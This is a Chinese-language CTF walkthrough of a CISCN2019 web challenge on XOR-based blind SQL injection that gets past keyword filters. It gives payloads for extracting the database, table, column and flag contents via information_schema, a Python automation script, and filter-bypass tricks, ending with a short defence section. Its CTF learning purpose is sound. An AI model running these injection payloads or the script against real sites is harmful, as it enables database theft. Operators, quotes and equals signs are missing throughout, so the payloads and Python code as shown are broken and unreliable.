1. 项目概述一次经典的Web安全实战复盘最近在BUUCTF平台上重温了一道来自CISCN2019的Web题目这道题可以说是Web安全入门到进阶的一个绝佳跳板。它没有复杂的框架没有眼花缭乱的新技术核心就是最基础的SQL注入但偏偏在过滤规则上做足了文章把很多刚学会union select的新手给卡住了。我当时也是折腾了好一阵最后用异或盲注XOR Blind Injection成功绕过了过滤拿到了flag。今天我就把整个解题思路、踩过的坑以及完整的复现过程掰开揉碎了讲给你听。无论你是刚接触CTF的萌新还是想巩固一下绕过技巧的老手这篇手把手的实战记录都能给你带来直接的帮助。这道题的核心场景非常典型一个存在SQL注入漏洞的Web应用但开发者并非毫无防备他们设置了一些关键词过滤比如常见的and,or,union,select等试图阻止攻击者直接获取数据。我们的目标就是在这些限制下依然能够与数据库进行“对话”最终窃取到存储在数据库中的flag。这不仅仅是写一个Payload那么简单它涉及到对SQL逻辑的深刻理解、对服务器响应行为的精准判断以及一种“曲线救国”的漏洞利用思维。接下来我们就从环境搭建开始一步步还原这场“猫鼠游戏”。2. 解题环境与目标分析2.1 题目环境搭建与初步探测首先我们需要一个可以反复测试的环境。BUUCTF提供了这道题的在线靶场但为了深入理解我强烈建议你在本地用Docker或类似环境搭建一个复现场景。假设我们已经有了一个模拟题目环境的测试页面其URL可能类似于http://target/vul.php?id1。拿到这样一个地址职业习惯驱使下的第一步永远是信息收集。我会先用最普通的参数测试其响应http://target/vul.php?id1 http://target/vul.php?id2 http://target/vul.php?id1观察页面内容的变化。很快我发现id1和id2返回了不同的文章内容这说明id参数确实被带入数据库查询了。而当输入id1时页面返回了空白或者数据库错误信息这初步证实了存在SQL注入漏洞。一个经典的“单引号字符型”注入点浮出水面。为了进一步确认注入类型和数据库信息我尝试了经典的判断语句id1 and 11和id1 and 12。但这里遇到了第一个障碍页面返回了统一的错误页面提示“非法字符”。这说明后端对输入进行了过滤and这个关键词很可能被拦截了。2.2 过滤规则分析与绕过思路确立面对过滤我们不能硬闯得先摸清它的规则。我设计了一系列测试Payload来探测黑名单测试and/orid1 and 11 --返回错误。id1 or 11 --同样错误。确认这两个逻辑运算符被过滤。测试union/selectid1 union select 1,2,3 --返回错误。这两个用于数据提取的关键词也被封死。测试sleep/benchmarkid1 and sleep(5) --错误。时间盲注的常用函数也可能被禁。测试大小写、双写、编码AnD,aNd,anandd,%61%6e%64and的URL编码等变种均告失败。说明过滤可能不是简单的字符串匹配可能是正则表达式或更严格的词法分析且不区分大小写。测试注释符--,#,/* */都能正常使用说明注释符未被过滤这给了我们拼接SQL语句的空间。经过一番探测可以大致推断过滤规则是拦截了and,or,union,select,sleep,benchmark等明显用于注入的关键词且过滤机制较为严格。直接的布尔盲注用and判断、报错注入、联合查询注入和时间盲注的常规路径都被堵死了。这时候我们需要一种不依赖这些关键词却能实现逻辑判断的注入方法。异或运算XOR进入了我的视野。在SQL中^运算符表示按位异或。它的妙处在于a ^ b这个表达式本身就可以作为一个布尔条件结果为0或非0而且它不包含任何被过滤的关键词。我们可以构造像1 ^ (条件)这样的Payload通过整个表达式的结果是1还是0来影响原始查询逻辑进而根据页面差异判断条件真假。这就是异或盲注的核心思想。3. 异或盲注原理深度剖析与Payload构造3.1 异或运算在SQL中的逻辑妙用在MySQL中题目环境通常是MySQL^运算符的优先级很高。对于表达式1 ^ (substring(database(),1,1)t)我们需要理解其运算过程substring(database(),1,1)t是一个布尔表达式如果数据库名第一个字符是t则结果为TRUE在MySQL中TRUE通常被当作1处理否则为FALSE当作0处理。接着进行异或运算1 ^ 1。这里涉及类型转换。字符串1在算术运算中会被转换为数字1。所以表达式变为1 ^ 1。异或运算规则相同为0不同为1。1 ^ 1 0。如果第一个字符不是t那么布尔表达式为0运算为1 ^ 0 1。因此整个注入Payloadid1 ^ (substring(database(),1,1)t) --的最终效果是如果条件成立第一个字符为t原查询可能变为...id1 ^ 0 ...即...id1 ...。如果条件不成立则变为...id1 ^ 1 ...即...id0 ...。由于id1和id0或一个不存在的id通常对应不同的页面内容一个正常文章一个无内容或错误我们就可以通过观察页面返回的是“正常内容”还是“无内容”来反推我们猜测的条件是否成立。这就是盲注的本质像猜硬币正反面一样一步步猜出数据。关键理解这里1是一个“载体”或“触发器”。我们利用一个固定的值1与一个布尔条件进行异或将布尔结果0/1转换为对整个表达式值的改变1/0从而间接地控制SQL查询的走向绕过了直接使用and或or进行条件判断的限制。3.2 构造稳健的异或盲注探测链理解了原理我们来构造第一个探测Payload目标是判断数据库名长度。假设我们猜测数据库名长度大于10。常规盲注会写id1 and length(database())10 --。但and被过滤了。异或盲注的写法id1 ^ (length(database())10) --我们来分析如果length(database())10为TRUE1则Payload为1 ^ 1即0。查询条件变为id0很可能返回空页面。如果为FALSE0则Payload为1 ^ 0即1。查询条件为id1返回正常页面。因此我们只需要在浏览器或抓包工具中发送这个请求然后看返回的页面是“正常文章”对应id1还是“空/错误”对应id0。如果返回正常文章说明length(database())10为假即长度不大于10。如果返回空页面则为真长度大于10。通过不断调整这个数字比如5, 8, 7我们可以精确确定长度。这里有一个至关重要的技巧你需要先手动访问id1和id0或id999明确记住这两个页面在内容上的显著区别是什么。可能是某段特定的文字、文章的标题、或者是整个页面的结构差异。这个“真”与“假”的参照系必须非常清晰后续的自动化脚本才能准确判断。3.3 处理字符与数字的隐式转换问题在实际测试中你可能会遇到一个坑Payload1 ^ (条件)有时可能不会产生预期的页面差异。这通常是因为SQL语句的上下文导致的类型转换问题。原始的SQL语句可能是SELECT * FROM articles WHERE id$id。当我们传入1 ^ (1) --时语句变成SELECT * FROM articles WHERE id1 ^ (1)MySQL会尝试计算1 ^ 1。它会先将字符串1转换为数字1然后计算1^10。最后WHERE条件相当于id0。这没问题。但如果字段id是字符类型比如VARCHAR而0是数字可能会发生隐式转换导致查询不如预期。为了增加Payload的鲁棒性一个更稳妥的写法是让整个表达式产生一个明确的字符串结果并确保其能与id字段比较。我们可以这样构造id1 ^ (条件) ^ 1。但注意在URL中我们需要闭合引号。更通用的方法是利用concat函数或者直接让表达式返回一个字符串数字。经过测试在这道题中简单的1 ^ (条件) --是有效的。但如果遇到问题可以尝试变种如0 ^ (条件) --此时条件为真返回1为假返回0你需要相应调整对“真/假”页面的定义1 ^ (条件) ^ 11构造一个更复杂的布尔表达式实操心得在构造异或盲注Payload时最好的方法是先用一个确定的条件如11和错误条件12进行测试确保你能看到明显的页面差异。例如测试真id1 ^ (11) --应该返回“假页面”因为1^10。测试假id1 ^ (12) --应该返回“真页面”因为1^01。 确认了这个逻辑对应关系后后续的猜解才能正确进行。4. 手把手复现从数据库名到Flag的完整攻击链现在我们假设已经确认了异或盲注的有效性并且明确了“真条件返回正常文章id1页面”“假条件返回空页面id0页面”的对应关系。开始一步步窃取数据。4.1 第一步获取数据库名1. 猜解数据库名长度?id1 ^ (length(database())1) -- - 返回空页面假 ?id1 ^ (length(database())2) -- - 返回空页面假 ... ?id1 ^ (length(database())8) -- - 返回正常页面真由此得知当前数据库名长度为8。2. 逐位猜解数据库名数据库名通常由字母、数字、下划线组成。我们可以用substr或substring函数注意substr也可能被过滤但substring有时能幸存都需要测试和ascii函数来猜解每一位的ASCII码。 猜解第一位字符?id1 ^ (ascii(substring(database(),1,1))96) -- // 判断是否小写字母 ?id1 ^ (ascii(substring(database(),1,1))91) -- // 判断是否大写字母 ... // 通过二分法快速定位ASCII码 ?id1 ^ (ascii(substring(database(),1,1))99) -- // 假设等于‘c’ASCII 99如果返回正常页面说明第一位是c。重复这个过程8次假设我们得到数据库名ctftrain。4.2 第二步获取表名1. 猜解表数量?id1 ^ ((select count(table_name) from information_schema.tables where table_schemadatabase())1) --通过改变等号右边的数字猜解出当前数据库下有例如2个表。2. 猜解第一个表名长度?id1 ^ (length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))10) --假设猜得长度为10。3. 逐位猜解第一个表名?id1 ^ (ascii(substring((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))102) -- // 猜第一位是‘f’ (ASCII 102)重复此过程假设得到第一个表名为flag_is_here。第二个表可能是users之类的我们的目标显然是flag_is_here。4.3 第三步获取列名1. 猜解目标表的列数量?id1 ^ ((select count(column_name) from information_schema.columns where table_schemadatabase() and table_nameflag_is_here)1) --假设只有1列。2. 猜解列名长度和内容?id1 ^ (length((select column_name from information_schema.columns where table_schemadatabase() and table_nameflag_is_here limit 0,1))4) -- ?id1 ^ (ascii(substring((select column_name from information_schema.columns where table_schemadatabase() and table_nameflag_is_here limit 0,1),1,1))102) -- // ‘f’假设得到列名为flag。4.4 第四步最终获取Flag现在我们知道在ctftrain数据库的flag_is_here表的flag列里存放着我们要找的Flag。猜解Flag内容Flag的格式通常是flag{xxx-xxx-xxx}长度不定。?id1 ^ (length((select flag from flag_is_here limit 0,1))38) -- // 猜长度 ?id1 ^ (ascii(substring((select flag from flag_is_here limit 0,1),1,1))102) -- // 猜第一位 ‘f’ ?id1 ^ (ascii(substring((select flag from flag_is_here limit 0,1),2,1))108) -- // 猜第二位 ‘l’ ... // 坚持不懈地猜下去这个过程极其枯燥但逻辑简单。当你猜解出的字符连起来是flag{时胜利就在眼前了。最终你会得到完整的Flag字符串。5. 自动化脚本编写与实战技巧手动在浏览器里修改Payload猜解是不现实的必须借助脚本。这里我用Python的requests库演示一个最基础的异或盲注自动化脚本框架。import requests import time url http://your_target/vul.php true_page_content # 这里需要你先访问id1把整个页面的关键特征字符串比如文章标题填在这里 false_page_content # 这里需要你先访问一个不存在的id如id0把其返回内容的关键特征填在这里 def get_page(id_param): params {id: id_param} try: r requests.get(url, paramsparams, timeout5) return r.text except Exception as e: print(f请求失败: {e}) return def check_condition(payload): 发送Payload并根据页面内容判断条件真假。 假设条件为真时Payload使查询结果为0返回false_page。 条件为假时Payload使查询结果为1返回true_page。 你需要根据实际情况调整这个判断逻辑。 full_payload f1 ^ ({payload}) -- content get_page(full_payload) # 判断逻辑如果false_page的特征字符串在content中说明条件为真 if false_page_content in content: # 注意这里需要你根据实际情况调整判断逻辑 return True else: return False # 更健壮的做法是同时匹配true和false的特征或者计算页面相似度。 def guess_database_length(): for i in range(1, 50): payload flength(database()){i} if check_condition(payload): print(f[] 数据库名长度: {i}) return i return 0 def guess_char(query, position): 二分法猜解某个字符串指定位置的字符 query: 返回目标字符串的SQL语句如 select database() position: 位置从1开始 low, high 32, 126 # 可打印字符的ASCII范围 while low high: mid (low high) // 2 payload fascii(substring(({query}),{position},1)){mid} # 注意我们的check_condition逻辑是条件为真返回True。 # 如果 ascii(...) mid 为真说明字符ASCII大于mid则low mid 1 if check_condition(payload): low mid 1 else: high mid - 1 # 循环结束时low high 1且 ascii(...)low 为真 final_payload fascii(substring(({query}),{position},1)){low} if check_condition(final_payload): return chr(low) else: return None # 使用示例 if __name__ __main__: # 1. 首先手动访问确定true_page_content和false_page_content # true_page_content get_page(1) # false_page_content get_page(1 ^ (12) --) # 这是一个假条件应该返回id1的页面 # 请根据实际响应调整上面的注释代码和check_condition函数内的逻辑。 # 2. 猜解数据库名长度 # db_len guess_database_length() # 3. 猜解数据库名 # db_name # for i in range(1, db_len1): # char guess_char(database(), i) # if char: # db_name char # print(f[*] 当前猜解: {db_name}) # else: # print(f[-] 第{i}位猜解失败) # break # print(f[] 数据库名: {db_name}) # 后续猜解表名、列名、数据的逻辑类似只需构造不同的query即可。 # 例如猜解第一个表名query select table_name from information_schema.tables where table_schemadatabase() limit 0,1 print(请根据注释和实际题目响应完善true/false页面判断逻辑后再运行。)脚本编写核心注意事项判断逻辑是灵魂check_condition函数里的判断必须100%准确。不能只看HTTP状态码因为很多情况下真假页面都返回200。必须提取页面中的稳定差异特征比如某个div的id、一段固定的文字、标题等。有时甚至需要计算页面内容的哈希值或相似度。处理网络波动脚本中应加入重试机制和超时设置避免因网络问题导致误判。控制请求频率在循环中加入time.sleep(0.1)之类的延迟避免对靶场造成过大压力或被封IP。二分法效率猜解单个字符二分法最多7次请求远比遍历所有可打印字符95次高效。6. 常见问题、排查技巧与防御思考6.1 实战中可能遇到的坑及解决方案问题1页面真假判断不准。这是最常见的问题。页面可能因为缓存、动态内容、细微变化导致判断失败。解决方案不要依赖整个页面HTML。提取页面中唯一、稳定、不受注入结果影响的片段作为“指纹”。例如在id1的页面里找到一个h2标签里的文章标题这个标题在正常查询时永远存在。在判断时只搜索这个标题字符串是否存在于返回内容中。或者计算返回内容中某个特定标签如article的文本长度真假页面长度通常有显著差异。问题2异或Payload不生效页面无变化。可能原因1过滤了^符号。虽然不常见但有可能。可以尝试使用其他位运算符如|(按位或) 或(按位与) 结合~(按位取反) 来构造逻辑。例如1 | (条件)当条件为0时结果为1条件为1时结果为1因为1|11逻辑反了但可以通过调整整体表达式来利用。可能原因2SQL语句上下文导致类型转换异常。尝试用concat函数构造Payloadidconcat(1, ) ^ (条件) --或者使用更复杂的表达式如id(‘1’0) ^ (条件) --确保运算对象是数字。可能原因3存在其他过滤或WAF。用/**/代替空格试试或者尝试将Payload进行URL双重编码。问题3猜解速度太慢。解决方案优化脚本使用多线程并发猜解不同位置字符需注意靶场承受能力。更重要的是利用已知信息减少猜解范围。例如猜到flag{后后面的字符很可能在[a-f0-9-]范围内如果是MD5或UUID格式可以缩小二分法的范围极大提升效率。6.2 从攻击者角度看防御我们绕过了过滤那么如何防御这种异或盲注呢参数化查询预编译语句这是根治SQL注入的银弹。所有用户输入都作为参数传递而非SQL语句的一部分从根本上杜绝了拼接。严格的输入过滤与白名单如果因为历史原因必须拼接SQL过滤黑名单永远会滞后。应采用白名单机制对于id这类参数严格限制为整数使用intval()、ctype_digit()等函数进行校验和转换。禁用不必要的SQL功能在数据库权限配置中限制Web应用账户的权限禁止其访问information_schema库这能极大增加手工注入的难度。完善的错误处理关闭数据库错误回显使用统一的、无信息量的错误页面增加盲注的难度。Web应用防火墙WAF部署WAF可以识别和拦截包括异或注入在内的多种变形攻击Payload。这道CISCN2019的题目就像一场精心设计的攻防演练。它告诉我们在安全领域没有一劳永逸的防御。过滤关键词只是最表层的一环攻击者总会找到逻辑上的突破口。而对我们学习者来说理解每一种绕过技术背后的原理远比记住一个Payload更重要。异或盲注的魅力就在于它用最基本的计算机逻辑运算巧妙地绕过了看似严密的防守这种“四两拨千斤”的思路在更复杂的漏洞利用场景中同样值得借鉴。下次当你遇到过滤时不妨想想除了and和or你的“武器库”里是不是还有^、|、这些低调却强大的工具。